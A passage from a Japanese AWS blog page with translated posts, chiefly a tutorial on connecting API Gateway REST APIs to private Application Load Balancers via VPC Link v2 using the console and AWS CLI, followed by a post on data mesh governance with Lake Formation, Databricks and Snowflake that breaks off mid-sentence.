Gateway ドキュメント で利用可能なセキュリティポリシーのリストを確認します。 より強力な TLS 制御が必要な REST API とドメインを特定します。 BASIC モードで適切な SecurityPolicy-* ポリシーを適用します。 アクセスログと CloudWatch メトリクスを使用してクライアントの動作を検証します。 追加の接続レベルの保護を強制する準備ができたら、STRICT モードに移行します。 サーバーレスアーキテクチャの構築に関する詳細については、 ServerlessLand.com をご参照ください。 翻訳はソリューションアーキテクトの松本が担当しました。

本記事は 2025年11月21日 に公開された「 Build scalable REST APIs using Amazon API Gateway private integration with Application Load Balancer 」を翻訳したものです。 この記事は、プリンシパルソリューションアーキテクトの Vijay Menon とシニアソリューションアーキテクトの Christian Silva によって執筆されました。 本日、 Amazon API Gateway REST API が Application Load Balancer (ALB) とのプライベート統合をサポートすることを発表しました。この新機能により、ALB をパブリックインターネットに公開することなく、VPC ベースのアプリケーションを REST API 経由で安全に公開できます。 今回のリリース以前は、API Gateway をプライベート ALB に接続する場合、 Network Load Balancer (NLB) を中間に配置する必要があり、コストと複雑さが増していました。現在は、NLB を必要とせずに API Gateway をプライベート ALB と直接統合できるため、運用オーバーヘッドが削減され、コストが最適化されます。 従来のアーキテクチャ: API Gateway とプライベート ALB の接続 今回のリリース以前は、API Gateway REST API は ALB の前に配置された NLB を経由してプライベート ALB リソースに接続していました。多くのお客様がこのアーキテクチャを使用して本番ワークロードを構築・運用しており、ビジネスクリティカルなアプリケーションに対する信頼性が実証されています。次の図は、このセットアップを示しています。 図 1. 従来のアーキテクチャ: 中間 NLB 経由での API Gateway からプライベート ALB への接続 アーキテクチャの簡素化とコスト削減を求めるお客様のフィードバックに応えて、VPC Link v2 のサポートを REST API に拡張しました。この機能により、REST API でプライベート ALB との直接統合が可能になり、中間 NLB が不要になりました。 新しいアーキテクチャ: API Gateway とプライベート ALB の接続 プライベート ALB との直接統合により、アーキテクチャはよりシンプルで効率的になります。この統合により中間 NLB が不要になり、クライアントとサービス間のホップ数が削減されます。この合理化されたセットアップにより、アプリケーションのアーキテクチャが簡素化され、ALB のレイヤー 7 ロードバランシング機能、認証、認可機能をより効率的に使用できます。これらの ALB 機能は技術的には以前からアクセス可能でしたが、新しいアーキテクチャでは追加の NLB を管理するオーバーヘッドと複雑さが解消されます。簡素化されたアーキテクチャは次のようになります。 図 2. API Gateway とプライベート ALB 間の直接統合 API Gateway エンドポイントとプライベート ALB の直接統合のメリット アーキテクチャの簡素化と運用の優秀性 : API Gateway がプライベート ALB に直接接続できるようになったため、API Gateway とプライベート ALB の間のブリッジとして機能する NLB が不要になりました。これにより、中間ロードバランサーのプロビジョニング、設定、管理、監視が不要になります。インフラストラクチャコンポーネントの削減は、運用オーバーヘッドの削減と潜在的な障害ポイントの減少につながります。トラフィックは Amazon Web Services (AWS) ネットワーク内で API Gateway から ALB に直接流れるため、ネットワークホップとレイテンシーが削減されます。 スケーラビリティの向上 : VPC Link v2 は、ロードバランサーとの 1 対多の関係をサポートします。単一の VPC Link v2 により、API Gateway は VPC 内の複数の ALB または NLB と統合できます。このアーキテクチャ上の利点は、それぞれが独自の ALB の背後にある可能性がある複数のマイクロサービスを持つ複雑なアプリケーションを管理する組織や、多数の API を実行している組織にとって特に価値があります。単一の VPC Link を通じて複数のロードバランサー接続を統合する機能は、管理オーバーヘッドを削減するだけでなく、アーキテクチャのスケーリングにおいてより大きな柔軟性を提供します。アプリケーションが成長し、より多くのサービスやロードバランサーを追加する際に、追加の VPC Link をプロビジョニングする必要がないため、運用効率を維持しながらインフラストラクチャを拡張しやすくなります。 コストの最適化 : アーキテクチャから NLB を削除することで、NLB の実行に対する時間料金と、1 時間あたりに使用される Network Load Balancer Capacity Units (NLCU) の両方を削減できます。複数の環境や多数の API を実行している組織では、これらの削減により年間数千ドルの節約が可能になります。さらに、データ転送パターンがより効率的になります。トラフィックは AWS ネットワーク内で API Gateway から ALB に直接流れるため、より多くのデータ転送料金が発生する可能性のある不要なホップを回避できます。この合理化されたパスは、コストを削減するだけでなく、ネットワークレイテンシーを最小限に抑えることでパフォーマンスも向上させます。 はじめる このチュートリアルでは、 AWS マネジメントコンソール と AWS コマンドラインインターフェイス (AWS CLI) の両方を使用したセットアップを実演します。開始する前に、VPC に 内部 ALB が設定されている ことを確認してください。名前が必要なリソースについては、環境に適した名前を使用してください。 ステップ 1: VPC Link v2 の作成 最初のステップは、API Gateway が内部 ALB にトラフィックをルーティングできるようにする VPC Link v2 を作成することです。設定方法は次のとおりです。 API Gateway コンソール に移動します。 左側のナビゲーションペインで、 VPC links を選択します。 Create VPC link を選択します。 VPC Link タイプとして VPC link v2 を選択します。 VPC Link のわかりやすい名前を入力します。 ALB が存在する VPC とサブネットを選択します。高可用性を実現するには、ALB 設定に一致する複数の AWS アベイラビリティーゾーン (AZ) のサブネットを選択します。 VPC Link に 1 つ以上のセキュリティグループを割り当てます。これらのセキュリティグループは、API Gateway と VPC 間のトラフィックフローを制御します。 Create を選択し、VPC Link のステータスが Available になるまで待ちます。このプロセスには数分かかる場合があります。 または、AWS CLI を使用して VPC Link v2 を作成できます。 # VPC Link v2 の作成 aws apigatewayv2 create-vpc-link \ --name "test-vpc-link-v2" \ --subnet-ids "<your-subnet1-id>" "<your-subnet2-id>" \ --security-group-ids "<your-security-group-id>" \ --region <your-AWS-region> # VPC Link v2 のステータス確認 aws apigatewayv2 get-vpc-link \ --vpc-link-id "<your-vpc-link-v2-id>" \ --region <your-AWS-region> ステップ 2: REST API の作成と統合の設定 VPC Link v2 が利用可能になったら、次のステップは REST API を作成し、VPC Link を使用するように設定することです。このプロセスには、API の作成、リソースとメソッドの設定、内部 ALB との統合の設定が含まれます。 API Gateway コンソール で、 Create API を選択します。 REST API を選択します。 API 名を入力し、 Create API を選択します。 Actions を選択してから Create resource を選択して、新しいリソースを作成します。このリソースは、API のエンドポイントを表します。 Actions を選択してから Create method を選択して、メソッドを作成します。メソッドは、API が受け入れるリクエストのタイプ (GET、POST など) を定義します。 次に、統合を設定します。ここで、VPC Link v2 を介して API を内部 ALB に接続します。 統合タイプとして VPC link を選択します。 バックエンド統合の HTTP メソッドを選択します。 新しく作成した VPC Link v2 を選択します。 統合ターゲットとして ALB を指定します。 統合のエンドポイント URL を入力します。URL で指定されたポートは、バックエンドへのリクエストのルーティングに使用されます。 Integration timeout を設定します。 AWS CLI を使用する場合: # REST API の作成 aws apigateway create-rest-api \ --name "test-rest-api" \ --description "REST API integration with internal ALB via VPC link v2" \ --region <your-AWS-region> # REST API のルートリソース ID を取得 aws apigateway get-resources \ --rest-api-id "<your-rest-api-id>" \ --region <your-AWS-region> # 新しいリソースの作成 aws apigateway create-resource \ --rest-api-id "<your-rest-api-id>" \ --parent-id "<your-parent-id>" \ --path-part "internal-alb" \ --region <your-AWS-region> # 新しいメソッドの作成 aws apigateway put-method \ --rest-api-id "<your-rest-api-id>" \ --resource-id "<your-resource-id>" \ --http-method ANY \ --authorization-type NONE \ --region <your-AWS-region> # 統合の作成 aws apigateway put-integration \ --rest-api-id "<your-rest-api-id>" \ --resource-id "<your-resource-id>" \ --http-method ANY \ --type HTTP_PROXY \ --integration-http-method ANY \ --uri "http://test-internal-alb.com/test" \ --connection-type VPC_LINK \ --connection-id "<your-vpc-link-v2-id>" \ --integration-target "<your-ALB-arn>" \ --region <your-AWS-region> ステップ 3: デプロイとテスト API が設定されたら、デプロイして正しく動作していることを確認します。 Deploy API を選択して、API の新しいデプロイを作成します。 新しいステージ (例: “test”) を作成します。ステージを使用すると、API の複数のバージョンを管理できます。 デプロイ後、API エンドポイント URL が表示されます。テストに必要なため、この URL をコピーします。 お好みの API クライアントまたはシンプルな curl コマンドを使用して API をテストします。 AWS CLI を使用する場合: # test ステージへの新しいデプロイの作成 aws apigateway create-deployment \ --rest-api-id "<your-rest-api-id>" \ --stage-name "test" \ --region <your-AWS-region> curl コマンドを使用して API 統合をテストします。 curl https://<rest-api-id>.execute-api.<your-aws-region>.amazonaws.com/internal-alb {"message": "Hello from internal ALB"} ステップ 4: VPC Link v2 のスケーリング 単一の VPC Link で、VPC 内の複数の ALB または NLB に接続できるようになり、インフラストラクチャ管理が簡素化されます。この AWS CLI スニペットは、API Gateway が単一の VPC Link v2 を使用して、それぞれが独自の ALB の背後にある複数の内部サービス (例: 注文サービスと支払いサービス) と統合する方法を示しています。両方の統合で同じ VPC Link ID が使用されていることに注目してください。 # 注文サービスの統合 (ALB-1) aws apigateway put-integration \ --rest-api-id "<your-rest-api-id>" \ --resource-id "<orders-resource-id>" \ --http-method ANY \ --type HTTP_PROXY \ --integration-http-method ANY \ --uri "<your-orders-alb-endpoint>" \ --connection-type VPC_LINK \ --connection-id "<your-vpc-link-v2-id>" \ --integration-target "<your-orders-alb-arn>" \ --region "<your-aws-region>" # 支払いサービスの統合 (ALB-2) aws apigateway put-integration \ --rest-api-id "<your-rest-api-id>" \ --resource-id "<payments-resource-id>" \ --http-method ANY \ --type HTTP_PROXY \ --integration-http-method ANY \ --uri "<your-payments-alb-endpoint>" \ --connection-type VPC_LINK \ --connection-id "<your-vpc-link-v2-id>" \ --integration-target "<your-payments-alb-arn>" \ --region "<your-aws-region>" 詳細なステップバイステップガイドについては、 API Gateway 開発者ガイド の公式ドキュメントをご覧ください。 ユースケース API Gateway とのプライベート ALB 統合により、エンタープライズの課題を解決するアーキテクチャパターンが可能になります。この新機能を活用できる 3 つの主要なシナリオを以下に示します。 Amazon ECS および Amazon EKS 上のマイクロサービス : Amazon ECS または Amazon EKS で実行されているマイクロサービスの公開が、この統合によりシンプルになります。ALB をパブリックインターネットに公開したり、複雑な NLB プロキシパターンを使用したりすることなく、さまざまなサービスへの安全なパスベースのルーティングが可能になります。 ハイブリッドクラウドアーキテクチャ : AWS Direct Connect または AWS Site-to-Site VPN を介して、クラウドネイティブ API とオンプレミスリソース間のシームレスで安全な接続が実現されます。このセットアップにより、HTTP メソッドとヘッダーに基づいて、さまざまな内部システムへの柔軟なルーティングが可能になります。 エンタープライズのモダナイゼーション : モノリシックアーキテクチャからマイクロサービスへの段階的な移行を可能にすることで、アプリケーションの段階的なモダナイゼーションが促進されます。組織は、運用の継続性を維持し、リスクを最小限に抑えながら、レガシーコンポーネントと新しいコンポーネント間でトラフィックをルーティングできます。 まとめ API Gateway REST API と ALB 間の直接プライベート統合により、AWS での API アーキテクチャが強化されます。インフラストラクチャを簡素化し、運用オーバーヘッドを削減することで、この機能は API 駆動型アプリケーションのパフォーマンスと効率を向上させます。 この機能は、VPC Link v2 と ALB が利用可能なすべての AWS リージョンで本日より利用できます。この機能で何を構築し、API アーキテクチャがどのように変革されるかを楽しみにしています。API Gateway コンソールにアクセスして、ALB との直接統合のための最初の VPC Link v2 を作成することで、今すぐ始めることができます。 詳細については、 API Gateway 製品ページ をご覧いただき、 料金の詳細 を確認し、包括的な 開発者ドキュメント を参照して、AWS で世界クラスの API を構築するために利用できるすべての強力な機能について学んでください。

この記事は Build Secure Data Mesh with AWS and Partner Solutions を翻訳した記事になります。翻訳は Solutions Architect 深見が担当しました。 はじめに データメッシュは、組織がドメイン間でデータを管理・共有する方法に革命をもたらす変革的なアーキテクチャパラダイムとして登場しています。 データを製品として扱い、ドメインチームに所有権を分散させることで、データメッシュはドメインの自律性を維持しながら、スケーラブルで安全かつ効率的なデータ共有を可能にします。 このブログは、最新のデータメッシュアーキテクチャを実装中または計画中のデータアーキテクトや技術リーダー向けです。 主に AWS とそのパートナーと協力している世界的な金融サービス組織による革新的な実装から着想を得ていますが、ここで議論される原則とソリューションは業界全体に広く適用できます。 金融機関は、ドメイン固有のガバナンスを維持しながら多様な製品にわたる包括的な顧客ビューを作成するために、データメッシュアーキテクチャの採用を増やしています。 これらの組織は、データが伝統的にサイロ化されていた規制環境において独自の課題に直面しています。 今日のソリューションは、 Apache Iceberg のようなオープンテーブルフォーマット、エンジン間のストレージとコンピュートの分離、クラウドスケールの機能を活用しており、従来のクエリフェデレーションアプローチからの進化を表しています。 最新のデータメッシュアプローチは、エンティティ認証、一貫したアクセス制御、包括的な監査証跡、データ系統追跡を通じて厳格な管理を維持しながら、ストレージレベルでの安全なデータ共有を可能にします。 これにより、チームはセキュリティやコンプライアンス要件を損なうことなく、特定のニーズに最適な専門エンジンを選択できます。 このブログでは、AWS ネイティブの分析サービスとサードパーティエンジンを同時に活用することを目的としたデータメッシュアーキテクチャを実装するための 3 つの重要な要件を探ります：(1)クロスカタログメタデータフェデレーション、(2)クロスアカウント＆クロスエンジンでの認証と認可、(3)分散ポリシーの反映 AWS をデータプロデューサーとコンシューマーの両方として実用的な実装パターンを検討し、Databricks や Snowflake などのパートナーとの統合アプローチを代表例として紹介します。 これらのパターンは、組織が企業全体のガバナンスを維持しながら、データメッシュの中核原則をサポートする柔軟で安全かつスケーラブルなデータアーキテクチャをどのように構築するかを示しています。 主な要素 データメッシュ データメッシュは、中央集権型のデータプラットフォームから分散型のドメイン指向の所有モデルへと移行するアーキテクチャおよび組織的なデータ管理アプローチです。 データを製品として扱い、ドメインチームが生成するデータに責任を持たせます。 例えば、金融機関では、クレジットカード部門が顧客取引データを製品として所有・管理し、明確に定義されたインターフェースとアクセス制御を通じて、不正検出やマーケティング分析などの他部門が安全にアクセスできるようにします。 データメッシュの中核原則には、(1)ドメイン指向の所有権、(2)製品としてのデータ、(3)セルフサービスデータインフラストラクチャ、(4)連合型ガバナンスが含まれます。 詳細については、 データメッシュとは および Let’s Architect! Architecting a data mesh をご覧ください。 データメッシュでは、データプロデューサーがデータコンシューマーが消費できるようにデータを公開します。 フェデレーテッドガバナンス層 (Federated Governance) がデータへのアクセスを規制します。 コンシューマーとプロデューサーは、AWS ネイティブサービスと AWS パートナープラットフォーム間でデータを共有する必要があります。 図1. Databricks や Snowflake などの AWS ネイティブサービスと AWS パートナーによるデータメッシュ設計のコンセプトを示しています。AWS と AWS パートナーの両方がデータコンシューマーとデータプロデューサーの役割を果たしています。 Iceberg オープンテーブルフォーマット Apache Iceberg は、データメッシュアーキテクチャにとって重要なオープンテーブルフォーマットです。 その主な理由は、異なるデータメッシュ環境に不可欠な Amazon Athena 、Snowflake、Databricks などの多様なクエリエンジン間で一貫したデータアクセスを可能にするクロスプラットフォーム互換性にあります。 また、コンシューマーに影響を与えることなくスキーマ進化をサポートし、ガバナンスと監査のためのタイムトラベル機能を提供し、 ACID トランザクション によるデータ一貫性を維持、プラットフォーム間でのきめ細やかなアクセス制御を可能にします。 これらの機能により、データの整合性とガバナンスを維持しながらドメイン間の相互運用性を確保できます。 Lake Formation AWS Lake Formation は、分析と機械学習のためのデータを一元的に管理、保護、共有するのに役立ちます。 Amazon Simple Storage Service (Amazon S3) や Amazon Redshift などの様々なデータストアに保存されたデータと AWS Glue Data Catalog 内のメタデータに対するきめ細やかなアクセス制御を提供します。 次世代の Amazon SageMaker Amazon SageMaker のレイクハウスアーキテクチャは、Apache Iceberg を使用してデータレイクとウェアハウスを 1 つのオープンプラットフォームに統合します。 このレイクハウスは、複数のソースからのデータへの接続、カタログ化、権限管理をスムーズに行います。 AWS Glue Data Catalog と AWS Lake Formation を基盤として構築され、オープンな Apache Iceberg REST API を通じてアクセス可能なカタログを通じてデータを整理し、一貫したきめ細やかなアクセス制御による安全なデータアクセスを提供します。 Amazon SageMaker Unified Studio は、Amazon レイクハウスアーキテクチャの開発環境とオーケストレーション層として機能します。 レイクハウスが Apache Iceberg ベースのデータ基盤を提供する場所であるのに対して、SageMaker Unified Studio は、データサイエンティスト、アナリスト、開発者が AWS サービスと外部パートナープラットフォームの両方のデータをやり取りし操作する場所です。 詳細については、 Connect, share, and query where your data sits using Amazon SageMaker Unified Studio ブログを参照してください。 アイデンティティとアクセス制御の管理 金融サービス組織はサイロ化されたデータから、オープンテーブルフォーマット、ストレージとコンピュートの分離、クラウド機能によって可能になったデータメッシュアーキテクチャへと進化してきました。 この変化により、エンティティ認証、一貫したクロスエンジンアクセス制御、包括的な監査、コンプライアンスモニタリング、データ系統追跡を通じて厳格な管理を維持しながら、クエリフェデレーションではなくストレージレベルでの安全なデータ共有が可能になりました。 このアプローチにより、チームは組織のセキュリティとコンプライアンス要件を維持しながら、ケースに適したエンジンを選択できるようになります。 クロスエンジンデータ共有のためのデータメッシュアーキテクチャが進化するにつれて、2 つの重要なセキュリティ要件が浮上します： プラットフォーム間で一貫したエンティティ ID プラットフォーム間で統一されたアクセス制御 ユーザーとエンジンのアイデンティティ マルチクエリエンジン環境では、ユーザーとエンジンの両方の ID が不可欠です。 ユーザーはサービス間で一貫した ID（フェデレーション ID プロバイダー、IDP サーバーを通じて管理）が必要である一方、エンジンはユーザーに代わってフェデレーションデータソースに接続する際にシステム ID を必要とします。 エンジンは、シームレスなクロスエンジン操作を可能にしながらセキュリティを維持するために、互いに信頼関係を確立する必要があります。 アクセス制御 ID の確認後、アクセス制御には 2 つの重要な側面が関わります：ポリシー定義（AWS および非 AWS エンジン間で許可されるアクションの指定）とポリシーの反映（定期的な同期を伴うエンジンレベルでの実装）です。 このアプローチにより、データが AWS またはパートナーエンジンのどちらを通じてアクセスされるかに関わらず、一貫したセキュリティが維持されます。 マルチエンジンデータメッシュは、2 つの補完的なアクセス制御モデルを活用します： IAM/S3 ポリシーを使用した粗い粒度のアクセス (Coarse-grained access ) Lake Formation を使用したきめ細やかなアクセス制御（Fine-grained access control: FGAC） Lake Formation は、データフィルターを持つ名前付きリソースを使用したロールベースのアクセス制御を含む、きめ細やかなアクセス制御での権限管理を行うための様々な権限モデルをサポートしています： タグベースのアクセス制御（TBAC） ：LF-Tags は、類似したリソースをグループ化し、そのリソースグループに対する権限をプリンシパルに付与できるメカニズムで、権限のスケーリングを可能にします。 属性ベースのアクセス制御（ABAC） ：ユーザー属性に基づいてリソースに対する権限を付与できるようになり、コンテキスト駆動型で、特定の属性値に基づく行レベルのフィルタリングなどの精密なセキュリティ対策が可能になります。 実装の成功のためには、ユーザーがデータメッシュとやり取りするためにどのアクセスポイントを使用するかに関わらず、一貫したセキュリティ実施を維持するために、エンジン間で慎重なポリシーの変換が必要です。 データメッシュアーキテクチャにおける相互運用性の要件 データ相互運用性とは、システムが共通ストレージレイヤーからデータを重複なく安全にアクセス、解釈、処理する能力です。 このブログでは、特に AWS が管理するストレージを使用する AWS ネイティブサービスとパートナープラットフォーム間のデータコンシューマーとプロデューサー間の相互運用性に焦点を当てています。 データメッシュ実装のための主要なデータ相互運用性要件： 1. クロスカタログメタデータフェデレーション – フェデレーションメタデータカタログを通じて、組織の境界を越えてドメインデータ製品を発見可能にする 2. クロスアカウント認証と認可 – コンシューマークエリエンジンが適切な権限でプロデューサーデータにアクセスできる安全な認証情報管理の実装 3. 分散ポリシーの反映 – プロデューサー定義のアクセスポリシーをデータコンシューマーポイント全体に適用する一貫したガバナンスメカニズムの確立 図 2 は、データメッシュアーキテクチャにおける権限の粒度の適用を示しています。 これは、データフェデレーションプロセス中にシステムがユーザー ID またはエンジン ID を想定するかどうかに基づいて、粗い粒度ときめ細やかな権限の違いを示しています。 図 2. この図は、データ相互運用性要件がデータメッシュ内のプロデューサーとコンシューマープラットフォーム間の安全な共有をどのように可能にするかを示しています。クロスカタログアクセスはアプリケーション/システム ID を使用して行われ、ユーザー ID のためのエンジンは、コンシューマーカタログで定義されているとおりに FGAC 制御を実施します。 AWS とそのパートナーがどのようにデータメッシュアーキテクチャを構築し、2 つの主要なパターンを通じてデータ相互運用性要件を実装しているかを探ってみましょう： データプロデューサーとしての AWS プラットフォーム と データコンシューマーとしての AWS プラットフォーム です。 データメッシュの実装: AWS をデータプロデューサーとして利用する 図 3. この図は、データメッシュアーキテクチャにおいてデータプロデューサーとして機能する AWS を示し、AWS ネイティブサービスを使用するプロデューサーから AWS パートナーと AWS ネイティブサービスの両方を使用したコンシューマーへのデータフローを示しています。AWS ネイティブコンピュートエンジンとパートナーコンピュートエンジンの両方が、AWS 管理のデータレイクから直接データを利用しています。 1. クロスカタログメタデータフェデレーション サードパーティのクエリエンジンは、Lake Formation によって管理される AWS データレイク内のデータを検出・理解するために AWS Glue Data Catalog（GDC）を使用します。 GDC は、スキーマ定義、データ型、場所、その他のメタデータを一貫した方法で維持するための手段を提供します。 Glue Data Catalog へのカタログフェデレーションは、 AWS Glue API または AWS Glue Iceberg REST エンドポイント （Glue IRC）のいずれかを介して確立できます。 両方のアプローチが Apache Iceberg テーブルをサポートしていますが、Glue IRC API は統合のための標準的な REST API セットを有効にし、認証と認可のサポートを提供してフレームワークを簡素化します。 2. クロスアカウント認証と認可 サードパーティのクエリエンジンは、 Lake Formation 管理の認証情報 または S3 への直接アクセス用の IAM プリンシパルロールのいずれかを使用して、GDC カタログで検出されたデータにアクセスします。 Lake Formation 管理の認証情報を利用した提供方法が推奨されるアプローチです。 3. 分散ポリシーの反映 AWS Lake Formation との統合により、サードパーティサービスは Amazon S3 ベースのデータレイク内のデータに完全なテーブルアクセス権限で安全にアクセスできます。 組織は、サードパーティのクエリエンジンがきめ細やかなアクセス制御ポリシーを実施できるように、手動のポリシー共有や追加のメカニズムでこれを補完する必要があります。 機能 Lake Formation 認証情報 S3 用の IAM プリンシパル 目的 データレイクアクセス管理 AWS リソースのアクセス制御 粒度 きめ細やかな粒度（テーブル/列/行） 粗い粒度（バケット/プレフィックス/オブジェクト） 管理 Lake Formation で一元化 IAM と S3 バケットポリシー IAM/S3 ポリシー Lake Formation の制御が適用される アクセスを直接制御 ユーザーエクスペリエンス S3 権限の直接管理が不要 明示的な S3 権限が必要 統合 AWS とサードパーティのアプリケーション アプリケーション/ユーザーの直接アクセス 表 1. この表は、S3 ロケーションにアクセスするための Lake Formation による認証情報の提供（推奨アプローチ）と IAM プリンシパルロール方式を比較しています。 データコンシューマーとして利用する際のパートナー製品特有のデータ相互運用性機能 Databricks をコンシューマとして利用する場合 1. クロスカタログメタデータフェデレーション Databricks Lakehouse Federation を使用すると、組織は外部データシステムを Lakehouse 拡張としてクエリおよび統制管理ができます。 GDC に接続する際、Databricks は Iceberg REST カタログエンドポイントではなく、メタデータの検出とフェデレーションのために GDC API を使用します。 詳細については、 Unity Catalog における Hive Metastore と AWS Glue フェデレーションの一般提供開始のお知らせ を参照してください。 2. クロスアカウント認証と認可 データアクセス権限については、Databricks は Lake Formation の認証情報提供メカニズムではなく、従来のクロスアカウント IAM ロールベースのアクセスパターンを使用して S3 データにアクセスします。 顧客は、フェデレーションする各テーブルについて、Unity Catalog に S3 バケットストレージを明示的に登録する必要があります。 3. 分散ポリシーの反映 Databricks で Lake Formation のきめ細やかなアクセス制御を複製するには、Lake Formation からアクセスポリシーを抽出し、それらを同等の Databricks Unity Catalog の権限に変換する同期メカニズムが必要です。 これらのきめ細やかなアクセスポリシーは、手動で複製するか、両システムを同期させるカスタムビルドソリューションを介して複製することができます。 Snowflake をコンシューマとして利用する場合 1. クロスカタログメタデータフェデレーション AWS Glue Data Catalog から Snowflake Horizon カタログへのクロスカタログメタデータフェデレーションを実装するために、Snowflake は カタログ統合 を使用します。 AWS Glue と統合するために、Snowflake はカタログ提供の認証情報などの追加の Iceberg テーブル機能をサポートする AWS Glue Iceberg REST エンドポイント のカタログ統合を作成することを推奨しています。 詳細については、 Apache Iceberg Rest Catalog (IRC) のカタログ統合に関する追加情報 を参照してください。 2. クロスアカウント認証と認可 Snowflake Horizon カタログと AWS GlueのIceberg REST エンドポイントの統合は、Lake Formation による認証情報の提供機能（現在は粗い粒度のみ）をサポートしています。詳細については、 Apache Iceberg テーブルのカタログ提供の認証情報を使用する を参照してください。 3. 分散ポリシーの反映 Snowflake で Lake Formation のきめ細やかなアクセス制御を複製するには、Lake Formation からアクセスポリシーを抽出し、それらを同等の Snowflake Horizon カタログの権限に変換する同期メカニズムが必要です。これらのきめ細やかなアクセスポリシーは、手動で複製するか、両システムを同期させるカスタムビルドソリューションを介して複製することができます。   パターン 要件 統合機能 コンシューマーとしての Databricks（プロデューサーとしてのAWS） 1. カタログフェデレーション UC から GDC へのフェデレーション 2. データストレージ権限 S3 への IAM ロールアクセス （L F認証情報のサポートなし） 3. データポリシーの反映 カスタムプロセスを介して複製され、Databricks によって実施されるきめ細やかなポリシー コンシューマーとしての Snowflake（プロデューサーとしてのAWS） 1. メタデータフェデレーション CREATE CATALOG INTEGRATION（Apache Iceberg REST） 2. データストレージ権限 Apache Iceberg のカタログ提供の認証情報を使用する （ テーブル全体へのアクセス権を持つ Lake Formation 認証情報 を使用） 3. データポリシーの反映 カスタムプロセスを介して複製され、Snowflake によって反映される FGACポリシー 表2. この表は、AWSをデータプロデューサーパターンとして実装する際に、AWS 管理のデータレイクとのデータ相互運用性を可能にする Databricks と Snowflake が提供する統合機能をまとめたものです。 データメッシュの実装: AWS をデータコンシューマーとして利用する 図4 は、データプロデューサーとしてAWS パートナープラットフォームを使用する際に AWS ネイティブ分析サービスを使用たデータコンシューマーへのデータの流れを示しています。 図4. この図は、データメッシュアーキテクチャにおいてデータコンシューマーとして機能するAWSプラットフォームを示しています。AWS ネイティブコンピュートは、AWS 管理のデータレイクとパートナーが管理するストレージからデータを消費します。 データコンシューマーとしての AWS ネイティブデータ相互運用性機能 1. クロスカタログメタデータフェデレーション AWS Glue は現在、リモート Iceberg への カタログフェデレーション をサポートしています。この機能により、AWS Glue Data Catalog を Databricks Unity Catalog、Snowflake Polaris カタログ、Horizon カタログ、およびカスタム Iceberg REST カタログ実装とフェデレーションを設定することができます。統合後、AWS Glue はバックグラウンドでメタデータの同期を自動的に管理し、クエリ結果にリモートカタログからの最新のテーブル変更が反映されるようにはたらきます。フェデレーションされたテーブルは、Amazon Redshift、Amazon EMR、Amazon Athena、AWS Glue などの AWS 分析エンジンを使用して検出およびクエリが可能です。 2. クロスアカウント認証と認可 Lake Formation は、AWS ネイティブサービスがデータレイクアクセスに使用するのと同じ アプリケーション統合プロセス を使用して、フェデレーションソースにデータガバナンスを拡張します。カタログフェデレーションは、フェデレーションデータソースに対して Lake Formation のきめ細やかなアクセス制御を使用します。 ユーザーが Athena などの AWS コンピュートサービスにクエリを送信すると、AWS ネイティブサービスはアクセス権限を確認して認証情報を取得するためにリクエストを Lake Formation に転送します。認可されると、Lake Formation はこれらの認証情報を AWS ネイティブサービスに提供し、Amazon S3 で要求されたデータにアクセスできるようにします。フェデレーションテーブルにクエリを実行する際、AWS Glue はクエリ時にリモートカタログから現在のメタデータを検出し、Lake Formation は S3 バケットに格納されたテーブルデータへのスコープ付き認証情報を提供してアクセスを管理します。その後、AWS ネイティブサービスは取得したデータにポリシーベースのフィルタリングを適用してから、結果をユーザーに返します。 3. 分散ポリシーの反映 Lake Formation は、フェデレーション 対象のIceberg カタログに対する包括的アクセス制御を提供し、データ所有者が AWS アカウント間でフェデレーションテーブルを共有する際に列、行、セルレベルの権限を付与できるようにします。Lake Formation は、フェデレーションカタログのデータベース/テーブル/列に対するタグベースのアクセス制御（TBAC）もサポートしており、組織は個々のリソースポリシーを管理するのではなく、リモートカタログオブジェクトにタグを適用することでガバナンスを効率化できます。ただし、組織はサードパーティプラットフォームから Lake Formation へのきめ細やかなアクセス制御を同期するための補完的なポリシー共有または追加のメカニズムを実装する必要があります。 データプロデューサーとしてのパートナー固有のデータ相互運用性機能 Databricks 1. クロスカタログメタデータフェデレーション Unity Catalog は OpenAPI 仕様に従って構築され、Apache 2.0 ライセンスで、複数の API 標準を通じて幅広い互換性を提供しています。製品の詳細については Unity Catalog のオープンソース化 をご覧ください。 Databricks は Unity REST API と Apache Iceberg REST カタログを使用して Unity Catalog テーブルへのアクセスを提供しています。具体的な手順については、 Apache Iceberg クライアントから Databricks テーブルにアクセスする と Unity Catalog への外部データアクセスを有効にする を参照してください。 2. クロスアカウント認証と認可 Unity Catalog の認証情報提供メカニズムにより、ユーザーは外部クライアントが Databricks によって管理されるデータ上の権限を継承するように構成できます。Iceberg と Delta の両方のクライアントが認証情報提供メカニズムの利用をサポートしています。AWS 固有の手順については、 外部システムアクセスのための Unity Catalog 認証情報提供、外部システムを使用した Databricks データへのアクセス および サービス認証情報の作成方法 を参照してください。 データアクセス権限については、Glue Data Catalog は Unity 認証情報提供メカニズムではなく、従来のクロスアカウント IAM ロールベースのアクセスパターンを使用して S3 データにアクセスします。顧客は、Lake Formation が一時的な認証情報提供を管理できるように、フェデレーションの一部として S3 バケットストレージへの権限を明示的に設定する必要があります。 3. 分散ポリシーの反映 Databricks Unity Catalog のきめ細やかな制御を Lake Formation で複製するには、Unity Catalog ポリシーを抽出し、同等の Lake Formation 権限に変換する同期メカニズムが必要です。組織はこれを手動でのポリシー複製または両方のガバナンスシステム間で継続的な同期を維持するカスタムソリューションの開発のいずれかを通じて実装します。 Snowflake 1. クロスカタログメタデータフェデレーション Snowflake Open Catalog は、オープン API を通じてあらゆる Iceberg テーブルメタデータを公開することで、サードパーティのクエリエンジンとの相互運用性をサポートするように設計されています。これにより、外部エンジンがメタデータにアクセスして Snowflake Open Catalog に格納されているデータをクエリでき、フェデレーションデータアクセスアプローチをサポートします。さらに、Horizon カタログは、外部クエリエンジンを使用して Iceberg テーブルを読み取ることができる Apache Iceberg REST API を公開しています。Snowflake Open Catalog は Apache Polaris の管理バージョンですが、顧客はApache Polaris を直接セルフホストすることもできます。詳細については、 Snowflake Open Catalog の使用開始 を参照してください。 2. クロスアカウント認証と認可 Snowflake Open Catalog 認証情報提供メカニズムは、Open Catalog　メタデータと Apache Iceberg テーブルストレージロケーションの両方のアクセス管理を一元化します。有効にすると、Open Catalog はクエリエンジンにテーブルデータにアクセスするための一時的なストレージ認証情報を提供し、ストレージアクセスを個別に管理する必要性を排除します。具体的な手順については、 Snowflake Open Catalog 認証情報提供 と 外部カタログの認証情報提供を有効にする を参照してください。 単一の Horizon カタログエンドポイントを使用して新規または既存の Snowflake　アカウントで Snowflake の Iceberg 